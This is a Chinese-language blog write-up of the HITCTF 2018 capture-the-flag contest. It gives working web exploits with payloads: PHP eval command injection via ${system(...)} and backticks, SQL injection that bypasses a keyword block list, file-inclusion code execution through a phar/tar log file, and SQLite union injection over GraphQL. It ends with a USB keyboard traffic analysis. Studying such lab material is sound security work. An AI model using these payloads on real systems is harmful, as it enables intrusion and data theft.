HITCTF2018 writeup

作者: rivir | 来源:发表于2018-02-03 13:20 被阅读954次
    image.png

    哈工大HITCTF 个人赛第13名,奋斗了两天的结果,粘图纪念一下.

    PHPreading

    扫描目录找到index.php.bak 备份文件

    <?php 
        eval(base64_decode('JGZsYWc9JF9HRVRbJ2FzZGZnanh6a2FsbGdqODg1MiddO2lmKCRmbGFnPT0nSDFUY3RGMjAxOEV6Q1RGJyl7ZGllKCRmbGFnKTt9ZGllKCdlbW1tbScpOw=='))
    ?>
    

    解码得到

    $flag=$_GET['asdfgjxzkallgj8852'];if($flag=='H1TctF2018EzCTF'){die($flag);}die('emmmm');
    

    传入正确的参数即可获得flag

    BabyEval

    
    <!--
    $str=@(string)$_GET['str'];
    blackListFilter($black_list, $str);
    eval('$str="'.addslashes($str).'";');
    -->
    

    手工试了一下发现blackListFilter函数过滤了单引号和双引号,还用了addslashes函数过滤, 基本杜绝了拼接注入,那么如何来做呢? 这里发现传入的参数用了双引号来拼接,这里利用双引号解析变量的特点来达到命令执行的效果,实际应用是在一些网站中配置文件中的变量有用双引号包围的, 这样如果后台可以修改配置文件,那么就可以写入变量解析达到命令执行的效果, 具体参考: http://www.blogsir.com.cn/safe/423.html

    我们来试一下:

    image.png

    如何来执行命令呢? 我的做法是这样

    import requests
    
    url = 'http://120.24.215.80:10013/?str=${system(base64_decode(%s))}'
    cmd = "cat /162920976d9c04ac69e2f4392a8cffbf_flag.txt"
    if len(cmd) % 3 != 0:
        cmd += ' '*(3-len(cmd)%3)
    
    print cmd.encode('base64')
    target = url%(cmd.encode('base64'))
    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0'}
    html = requests.get(target,headers=headers)
    print html.content
    

    利用了base64_decode 不需要引号包围的tricks 来解题,但这里要注意的是不能出现'='字符,否则base64解密失败,因此需要命令必须是3个字节的倍数的长度大小.

    还有就是利用反引号来执行命令

    ?str=${var_dump(`ls`)}
    

    这样也不需要用到单引号.

    BabyInjection

    <?php
    error_reporting(0);
    
    if (!isset($_POST['username']) || !isset($_POST['passwd'])) {
        echo 'Login and get the flag';
        echo '<form action="" method="post">'."<br/>";
        echo '<input name="username" type="text" placeholder="username"/>'."<br/>";
        echo '<input name="passwd" type="text" placeholder="passwd"/>'."<br/>";
        echo '<input type="submit" ></input>'."<br/>";
        echo '</form>'."<br/>";
        die;
    }
    
    $flag = '';
    $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)|like|rlike|regexp|limit|or";
    
    $username = $_POST['username'];
    $passwd = $_POST['passwd'];
    if (preg_match("/".$filter."/is",$username)==1){
        die("Hacker hacker hacker~");
    }
    if (preg_match("/".$filter."/is",$passwd)==1){
        die("Hacker hacker hacker~");
    }
    
    $conn = mysqli_connect();
    
    $query = "SELECT * FROM users WHERE username='{$username}';";
    echo $query."<br>";
    $query = mysqli_query($conn, $query);
    if (mysqli_num_rows($query) == 1){
        $result = mysqli_fetch_array($query);
        if ($result['passwd'] == $passwd){
            die('you did it and this is your flag: '.$flag);
        }
        else{
            die('Wrong password');
        }
    }
    else{
        die('Wrong username');
    }
    

    这题直接给出了源码, 给出了过滤规则,过滤的还比较正常,有点麻烦的可能是这条mysqli_num_rows($query) == 1 , 限制了查询数据只能是一条,但黑名单里面又过滤了limit, 一开始还有点懵逼, 仔细思考了发现可以增加查询限制条件,比如'-'' group by id having id=1# , 或者'-'' && id=1# 这样子,返回结果都是wrong password , 然后就是正常盲注出密码即可.payload: ' || id=1 && passwd>0x{0}#

    一叶飘零大佬提供了另外一种解题思路: http://skysec.top/2018/02/01/HITCTF-WEB%E9%A2%98%E8%A7%A3/ , 我们知道如果这里没有限制union,select 我们是可以通过union 构造出一条记录union select md5('1')# , 但这里显然不行,大佬给出的方法是利用with rollup 构造出一个passwd为null的新纪录,with rollup 本来是添加一条统计的记录,group by分组的字段为null,其他字段和上一条记录一样:

    mysql> select * from user where username=''=0 group by password with rollup;
    +----+----------+----------+
    | id | username | password |
    +----+----------+----------+
    |  3 | 61d      | 61d      |
    |  1 | admin    | admin    |
    |  2 | r00t     | r00t     |
    |  2 | r00t     | NULL     |
    +----+----------+----------+
    4 rows in set (0.00 sec)
    

    那么如何选出password为null的那条记录呢?, 利用的是password <=> NULL, 因为 null =null返回0,null <=>null 返回1

    mysql> select * from user where username=''=0 group by password with rollup having password<=>NULL;
    +----+----------+----------+
    | id | username | password |
    +----+----------+----------+
    |  2 | r00t     | NULL     |
    +----+----------+----------+
    1 row in set (0.00 sec)
    

    总结<=>和=的关系

    相同点:可以对两个值进行比较,’A'<=>’B' = 0和’A'<=>’A‘ = 1;

    不同点:NULL的值是没有任何意义的,当比较重某一方为null时候,"="号或者"!="运算符不能把NULL作为有效的结果,此时应该使用<=>,'a' <=> NULL 得0 NULL<=> NULL 得出 1。mysql上几乎所有的操作符和函数都是这样工作的,因为和NULL比较基本上都没有意义。

    最后的payload: '-'' group by passwd with rollup having passwd <=> NULL# , 学习了.

    小电影

    /upload , /download?name=xxx.avi .We will help you convert video with ffmpeg. Maybe you will find something different
    Don't attack the platform ,it's simple .
    Pay more attention to the video file and you will see what you want .

    出过很多次的ffmpeg任意文件读取漏洞,一开始审题不仔细,没看到首页源代码还有一行注释\<!\-- flag is in /flag.txt -->, 导致在找了很久的flag.

    BabyWrite

    一道比较很有意思的题,首先是文件包含读取到关键源码:
    index.php:

    <?php
    if(isset($_GET['page'])){
        $file = $_GET['page'].'.php'; 
        include($file); 
    }else{
        header("Location: /?page=login");
        die();
    }
    ?>
    

    login.php

    <?php
        require_once('config.php');
        if(isset($_POST['username']) && isset($_POST['password'])){
            $username = $_POST['username'];
            $password = $_POST['password'];
            if ($username === "admin" && sha1(md5($password)) === $admin_hash){
                echo '<script>alert("Login seccess!");</script>';
            }else{
                if (isset($_GET['debug'])){
                    if($_GET['debug'] === 'hitctf'){     
                        $logfile = "log/".$username.".log";
                        $content = $username." => ".$password;
                        file_put_contents($logfile, $content);
    
                    }else{
                        echo '<script>alert("Login failed!");</script>';
                    }
                }else{
                    echo '<script>alert("Login failed!");</script>';
                }
            }
        }else{
            echo '<script>alert("Please input username and password!");</script>';
        }
    ?>
    

    之前xnuca 出过一道类似的题,唯一不同的是之前写入内容为: $content = $username." \n ".$password; , 但换成=> 后难度加大很多,之前的做法可以参考航哥的一篇博客: https://www.jianshu.com/p/fd9f38753078, 后缀限制为php的文件包含一般是利用phar,zip 这些伪协议的突破的.

    这里有一个坑是文件名无法写入%00, 之前如果是\n, 文件名只需要是`%50%4b%03%04` 即可,后面一位就是%0a, 一开始是参考的航哥的一篇文章https://www.jianshu.com/p/03e612b9e379, 发现坑以后就立马换了一种思路,想到了用tar包来解(phar协议可以解zip,也可以解tar包),我们构造一个来看看

    lj@lj /d/C/H/web> cat tt.tar|xxd 
    00000000: 6c6a 203d 3e20 2e70 6870 0000 0000 0000  lj => .php......
    00000010: 0000 0000 0000 0000 0000 0000 0000 0000  ................
    00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
    00000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................
    00000040: 0000 0000 0000 0000 0000 0000 0000 0000  ................
    00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
    00000060: 0000 0000 3030 3030 3636 3400 3030 3031  ....0000664.0001
    00000070: 3735 3000 3030 3031 3735 3000 3030 3030  750.0001750.0000
    00000080: 3030 3030 3033 3100 3133 3233 3530 3132  0000031.13235012
    00000090: 3733 3200 3031 3032 3535 0020 3000 0000  732.010255. 0...
    

    可以看到,tar包是将文件名放在开头的,这样我们只需要需要文件名为lj即可,后面的部分都可以作为password的内容来写入, 最后用phar协议解tar包即可.
    最后的payload为:

    http://120.24.215.80:10012/?page=phar://log/lj.log/lj%20=%3E%20&_=system(%27cat%20/d124abbe4cb6aa1621a8ca9519c0f5bf_flag.txt%27);
    

    BabyQuery

    最后这题找到注入点的时候已经快结束了, 对sqlite数据库的注入也不是很熟,可惜了.

    首先是先查看源码,发现一段js

        $(document).ready(function(){
                var query_data = {'query': '{ getscorebyid(id: "GE======"){ id name score } }'}
                var btn = $('#query');
                btn.click(function(){
                    $.post('/graphql', query_data, function(result){
                        alert(result);
                    })
                });
            })
    

    看到graphql明白是GraphQL数据库,这里之前比赛出现过几次,因此找到一个paylaod可以查看schema表

    query=
    query IntrospectionQuery {
        __schema {
          queryType { name }
          mutationType { name }
          subscriptionType { name }
          types {
            ...FullType
          }
          directives {
            name
            description
            args {
              ...InputValue
            }
            onOperation
            onFragment
            onField
          }
        }
      }
    
      fragment FullType on __Type {
        kind
        name
        description
        fields(includeDeprecated: true) {
          name
          description
          args {
            ...InputValue
          }
          type {
            ...TypeRef
          }
          isDeprecated
          deprecationReason
        }
        inputFields {
          ...InputValue
        }
        interfaces {
          ...TypeRef
        }
        enumValues(includeDeprecated: true) {
          name
          description
          isDeprecated
          deprecationReason
        }
        possibleTypes {
          ...TypeRef
        }
      }
    
      fragment InputValue on __InputValue {
        name
        description
        type { ...TypeRef }
        defaultValue
      }
    
      fragment TypeRef on __Type {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
            }
          }
        }
      }
    

    查看schema发现Query 操作只有两个field: getscorebyyourname和getscorebyid 参数分别是name和id, 手工测试了一下发现id参数经过base32编码且仅能是1位数, 再试了下name参数发现了存在注入:

    image.png

    测试了下发现version(),user()之类的函数都报错了, 一开始有点懵逼,后来经过管理员提醒是sqlite数据库,之前一直没时间好好研究Nosql数据库的注入,大亏,于是自己百度了下Sqlite3 的注入语句, sqlite3 爆表名都是用sqlite_master这个内置表(相当于mysql里面的information_schema表, 于是整理的payload 如下:

    >>> base64.b32encode("' union select (select group_concat(name,0x3a) from sqlite_master) /*");
    'E4QHK3TJN5XCA43FNRSWG5BAFBZWK3DFMN2CAZ3SN52XAX3DN5XGGYLUFBXGC3LFFQYHQM3BFEQGM4TPNUQHG4LMNF2GKX3NMFZXIZLSFEQC6KQ='
    
    >>> base64.b32encode("' union select (select sql from sqlite_master where name='Secr3t_fl4g') /*");
    'E4QHK3TJN5XCA43FNRSWG5BAFBZWK3DFMN2CA43RNQQGM4TPNUQHG4LMNF2GKX3NMFZXIZLSEB3WQZLSMUQG4YLNMU6SOU3FMNZDG5C7MZWDIZZHFEQC6KQ='
    
    >>> base64.b32encode("' union select (select flag from Secr3t_fl4g) /*");
    'E4QHK3TJN5XCA43FNRSWG5BAFBZWK3DFMN2CAZTMMFTSAZTSN5WSAU3FMNZDG5C7MZWDIZZJEAXSU==='
    
    image.png

    键盘流量分析

    Misc 说一道有意思的usb流量分析题,首先是在安全客上面找到一篇分析usb流量的文章: https://www.anquanke.com/post/id/85218`

    usb 流量分析又分为键盘流量分析和鼠标流量分析,键盘流量一般是8个字节,所以我们先把八个字节的流量分析出来看:

    00:00:0b:00:00:00:00:00 h
    00:00:0b:0c:00:00:00:00
    00:00:0c:00:00:00:00:00i
    00:00:0c:17:00:00:00:00
    00:00:17:00:00:00:00:00t
    00:00:06:00:00:00:00:00c
    00:00:17:00:00:00:00:00t
    00:00:09:00:00:00:00:00f
    02:00:00:00:00:00:00:00
    02:00:2f:00:00:00:00:00{
    02:00:00:00:00:00:00:00
    02:00:00:00:00:00:00:00
    02:00:0e:00:00:00:00:00K
    02:00:00:00:00:00:00:00
    00:00:08:00:00:00:00:00E
    00:00:1c:00:00:00:00:00Y
    02:00:00:00:00:00:00:00
    02:00:05:00:00:00:00:00B
    02:00:00:00:00:00:00:00
    00:00:12:00:00:00:00:00o
    00:00:04:00:00:00:00:00a
    00:00:15:00:00:00:00:00r
    00:00:07:00:00:00:00:00d
    02:00:00:00:00:00:00:00
    02:00:2d:00:00:00:00:00_
    02:00:00:00:00:00:00:00
    00:00:12:00:00:00:00:00o
    00:00:15:00:00:00:00:00r
    00:00:1d:00:00:00:00:00z
    02:00:00:00:00:00:00:00
    02:00:30:00:00:00:00:00}
    02:00:00:00:00:00:00:00
    01:00:00:00:00:00:00:00
    01:00:06:00:00:00:00:00
    

    可以看到,键盘流量的有效数据是在第三个字节,每个值的具体意义可以参考官方usb流量的定义: http://www.usb.org/developers/hidpage/Hut1_12v2.pdf

    第一个字节00代表小写,02代表大写.

    相关文章

      网友评论

        本文标题:HITCTF2018 writeup

        本文链接:https://www.haomeiwen.com/subject/kjxuzxtx.html